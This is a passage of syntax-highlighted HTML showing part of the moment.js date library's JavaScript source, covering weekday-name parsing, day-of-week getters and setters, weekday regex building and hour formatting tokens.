language_">this</span>.<span class="property">_weekdaysMin</span>, <span class="variable language_">this</span>.<span class="property">_week</span>.<span class="property">dow</span>) :</span><br><span class="line">            (m) ? <span class="variable language_">this</span>.<span class="property">_weekdaysMin</span>[m.<span class="title function_">day</span>()] : <span class="variable language_">this</span>.<span class="property">_weekdaysMin</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">handleStrictParse$1</span>(<span class="params">weekdayName, format, strict</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, ii, mom, llc = weekdayName.<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_weekdaysParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span> = [];</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">7</span>; ++i) &#123;</span><br><span class="line">                mom = <span class="title function_">createUTC</span>([<span class="number">2000</span>, <span class="number">1</span>]).<span class="title function_">day</span>(i);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>[i] = <span class="variable language_">this</span>.<span class="title function_">weekdaysMin</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>[i] = <span class="variable language_">this</span>.<span class="title function_">weekdaysShort</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>[i] = <span class="variable language_">this</span>.<span class="title function_">weekdays</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (strict) &#123;</span><br><span class="line">            <span class="keyword">if</span> (format === <span class="string">&#x27;dddd&#x27;</span>) &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (format === <span class="string">&#x27;ddd&#x27;</span>) &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (format === <span class="string">&#x27;dddd&#x27;</span>) &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (format === <span class="string">&#x27;ddd&#x27;</span>) &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeWeekdaysParse</span>(<span class="params">weekdayName, format, strict</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, mom, regex;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_weekdaysParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> handleStrictParse$1.<span class="title function_">call</span>(<span class="variable language_">this</span>, weekdayName, format, strict);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_weekdaysParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_fullWeekdaysParse</span> = [];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">            <span class="comment">// make the regex if we don&#x27;t have it already</span></span><br><span class="line"></span><br><span class="line">            mom = <span class="title function_">createUTC</span>([<span class="number">2000</span>, <span class="number">1</span>]).<span class="title function_">day</span>(i);</span><br><span class="line">            <span class="keyword">if</span> (strict &amp;&amp; !<span class="variable language_">this</span>.<span class="property">_fullWeekdaysParse</span>[i]) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_fullWeekdaysParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">weekdays</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;\\.?&#x27;</span>) +</span><br><span class="line">                    <span class="string">&#x27;$&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">weekdaysShort</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>,</span><br><span class="line">                    <span class="string">&#x27;\\.?&#x27;</span>) + <span class="string">&#x27;$&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">weekdaysMin</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;\\.?&#x27;</span>) +</span><br><span class="line">                    <span class="string">&#x27;$&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>[i]) &#123;</span><br><span class="line">                regex = <span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">weekdays</span>(mom, <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;|^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">weekdaysShort</span>(mom, <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;|^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">weekdaysMin</span>(</span><br><span class="line">                    mom, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(regex.<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;&#x27;</span>), <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// test the regex</span></span><br><span class="line">            <span class="keyword">if</span> (strict &amp;&amp; format === <span class="string">&#x27;dddd&#x27;</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_fullWeekdaysParse</span>[i].<span class="title function_">test</span>(weekdayName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (strict &amp;&amp; format === <span class="string">&#x27;ddd&#x27;</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_shortWeekdaysParse</span>[i].<span class="title function_">test</span>(weekdayName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (strict &amp;&amp; format === <span class="string">&#x27;dd&#x27;</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_minWeekdaysParse</span>[i].<span class="title function_">test</span>(weekdayName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!strict &amp;&amp; <span class="variable language_">this</span>.<span class="property">_weekdaysParse</span>[i].<span class="title function_">test</span>(weekdayName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetDayOfWeek</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> input != <span class="literal">null</span> ? <span class="variable language_">this</span> : <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> day = <span class="variable language_">this</span>.<span class="property">_isUTC</span> ? <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">getUTCDay</span>() : <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">getDay</span>();</span><br><span class="line">        <span class="keyword">if</span> (input != <span class="literal">null</span>) &#123;</span><br><span class="line">            input = <span class="title function_">parseWeekday</span>(input, <span class="variable language_">this</span>.<span class="title function_">localeData</span>());</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">add</span>(input - day, <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> day;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetLocaleDayOfWeek</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> input != <span class="literal">null</span> ? <span class="variable language_">this</span> : <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> weekday = (<span class="variable language_">this</span>.<span class="title function_">day</span>() + <span class="number">7</span> - <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="property">_week</span>.<span class="property">dow</span>) % <span class="number">7</span>;</span><br><span class="line">        <span class="keyword">return</span> input == <span class="literal">null</span> ? weekday : <span class="variable language_">this</span>.<span class="title function_">add</span>(input - weekday, <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetISODayOfWeek</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> input != <span class="literal">null</span> ? <span class="variable language_">this</span> : <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// behaves the same as moment#day except</span></span><br><span class="line">        <span class="comment">// as a getter, returns 7 instead of 0 (1-7 range instead of 0-6)</span></span><br><span class="line">        <span class="comment">// as a setter, sunday should belong to the previous week.</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (input != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> weekday = <span class="title function_">parseIsoWeekday</span>(input, <span class="variable language_">this</span>.<span class="title function_">localeData</span>());</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">day</span>(<span class="variable language_">this</span>.<span class="title function_">day</span>() % <span class="number">7</span> ? weekday : weekday - <span class="number">7</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">day</span>() || <span class="number">7</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultWeekdaysRegex = matchWord;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">weekdaysRegex</span>(<span class="params">isStrict</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_weekdaysParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_weekdaysRegex&#x27;</span>)) &#123;</span><br><span class="line">                computeWeekdaysParse.<span class="title function_">call</span>(<span class="variable language_">this</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (isStrict) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysStrictRegex</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysRegex</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_weekdaysRegex&#x27;</span>)) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysRegex</span> = defaultWeekdaysRegex;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysStrictRegex</span> &amp;&amp; isStrict ?</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysStrictRegex</span> : <span class="variable language_">this</span>.<span class="property">_weekdaysRegex</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultWeekdaysShortRegex = matchWord;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">weekdaysShortRegex</span>(<span class="params">isStrict</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_weekdaysParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_weekdaysRegex&#x27;</span>)) &#123;</span><br><span class="line">                computeWeekdaysParse.<span class="title function_">call</span>(<span class="variable language_">this</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (isStrict) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysShortStrictRegex</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysShortRegex</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_weekdaysShortRegex&#x27;</span>)) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysShortRegex</span> = defaultWeekdaysShortRegex;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysShortStrictRegex</span> &amp;&amp; isStrict ?</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysShortStrictRegex</span> : <span class="variable language_">this</span>.<span class="property">_weekdaysShortRegex</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultWeekdaysMinRegex = matchWord;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">weekdaysMinRegex</span>(<span class="params">isStrict</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_weekdaysParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_weekdaysRegex&#x27;</span>)) &#123;</span><br><span class="line">                computeWeekdaysParse.<span class="title function_">call</span>(<span class="variable language_">this</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (isStrict) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysMinStrictRegex</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysMinRegex</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span class="string">&#x27;_weekdaysMinRegex&#x27;</span>)) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysMinRegex</span> = defaultWeekdaysMinRegex;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_weekdaysMinStrictRegex</span> &amp;&amp; isStrict ?</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_weekdaysMinStrictRegex</span> : <span class="variable language_">this</span>.<span class="property">_weekdaysMinRegex</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">computeWeekdaysParse</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">function</span> <span class="title function_">cmpLenRev</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> b.<span class="property">length</span> - a.<span class="property">length</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> minPieces = [],</span><br><span class="line">            shortPieces = [],</span><br><span class="line">            longPieces = [],</span><br><span class="line">            mixedPieces = [],</span><br><span class="line">            i, mom, minp, shortp, longp;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">            <span class="comment">// make the regex if we don&#x27;t have it already</span></span><br><span class="line">            mom = <span class="title function_">createUTC</span>([<span class="number">2000</span>, <span class="number">1</span>]).<span class="title function_">day</span>(i);</span><br><span class="line">            minp = <span class="variable language_">this</span>.<span class="title function_">weekdaysMin</span>(mom, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">            shortp = <span class="variable language_">this</span>.<span class="title function_">weekdaysShort</span>(mom, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">            longp = <span class="variable language_">this</span>.<span class="title function_">weekdays</span>(mom, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">            minPieces.<span class="title function_">push</span>(minp);</span><br><span class="line">            shortPieces.<span class="title function_">push</span>(shortp);</span><br><span class="line">            longPieces.<span class="title function_">push</span>(longp);</span><br><span class="line">            mixedPieces.<span class="title function_">push</span>(minp);</span><br><span class="line">            mixedPieces.<span class="title function_">push</span>(shortp);</span><br><span class="line">            mixedPieces.<span class="title function_">push</span>(longp);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// Sorting makes sure if one weekday (or abbr) is a prefix of another it</span></span><br><span class="line">        <span class="comment">// will match the longer piece.</span></span><br><span class="line">        minPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        shortPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        longPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        mixedPieces.<span class="title function_">sort</span>(cmpLenRev);</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">            shortPieces[i] = <span class="title function_">regexEscape</span>(shortPieces[i]);</span><br><span class="line">            longPieces[i] = <span class="title function_">regexEscape</span>(longPieces[i]);</span><br><span class="line">            mixedPieces[i] = <span class="title function_">regexEscape</span>(mixedPieces[i]);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_weekdaysRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + mixedPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_weekdaysShortRegex</span> = <span class="variable language_">this</span>.<span class="property">_weekdaysRegex</span>;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_weekdaysMinRegex</span> = <span class="variable language_">this</span>.<span class="property">_weekdaysRegex</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_weekdaysStrictRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + longPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_weekdaysShortStrictRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + shortPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_weekdaysMinStrictRegex</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^(&#x27;</span> + minPieces.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">hFormat</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">hours</span>() % <span class="number">12</span> || <span class="number">12</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">kFormat</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">hours</span>() || <span class="number">24</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;H&#x27;</span>, [<span class="string">&#x27;HH&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="string">&#x27;hour&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;h&#x27;</span>, [<span class="string">&#x27;hh&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, hFormat);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;k&#x27;</span>, [<span class="string">&#x27;kk&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, kFormat);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;hmm&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span> + hFormat.<span class="title function_">apply</span>(<span class="variable language_">this</span>) + <span class="title function_">zeroFill</span>(<span class="variable language_">this</span>.<span class="title function_">minutes</span>(), <span class="number">2</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;hmmss&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span> + hFormat.<span class="title function_">apply</span>(<span class="variable language_">this</span>) + <span class="title function_">zeroFill</span>(<span class="variable language_">this</span>.<span class="title function_">minutes</span>(), <span class="number">2</span>) +</span><br><span class="line">            <span class="title function_">zeroFill</span>(<span class="variable language_">this</span>.<span class="title function_">seconds</span>(), <span class="number">2</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;Hmm&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">hours</span>() + <span class="title function_">zeroFill</span>(<span class="variable language_">this</span>.<span class="title function_">minutes</span>(), <span class="number">2</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;Hmmss&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">hours</span>() + <span class="title function_">zeroFill</span>(<span class="variable language_">this</span>.<span class="title function_">minutes</span>(), <span class="number">2</span>) +</span><br><span class="line">            <span class="title function_">zeroFill</span>(<span class="variable language_">this</span>.<span class="title function_">seconds</span>(), <span class="number">2</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">meridiem</span>(<span class="params">token, lowercase</span>) &#123;</span><br><span class="line">        <span class="title function_">addFormatToken</span>(token, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">meridiem</span>(<span class="variable language_">this</span>.<span class="title function_">hours</span>(), <span class="variable language_">this</span>.<span class="title function_">minutes</span>(), lowercase);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span 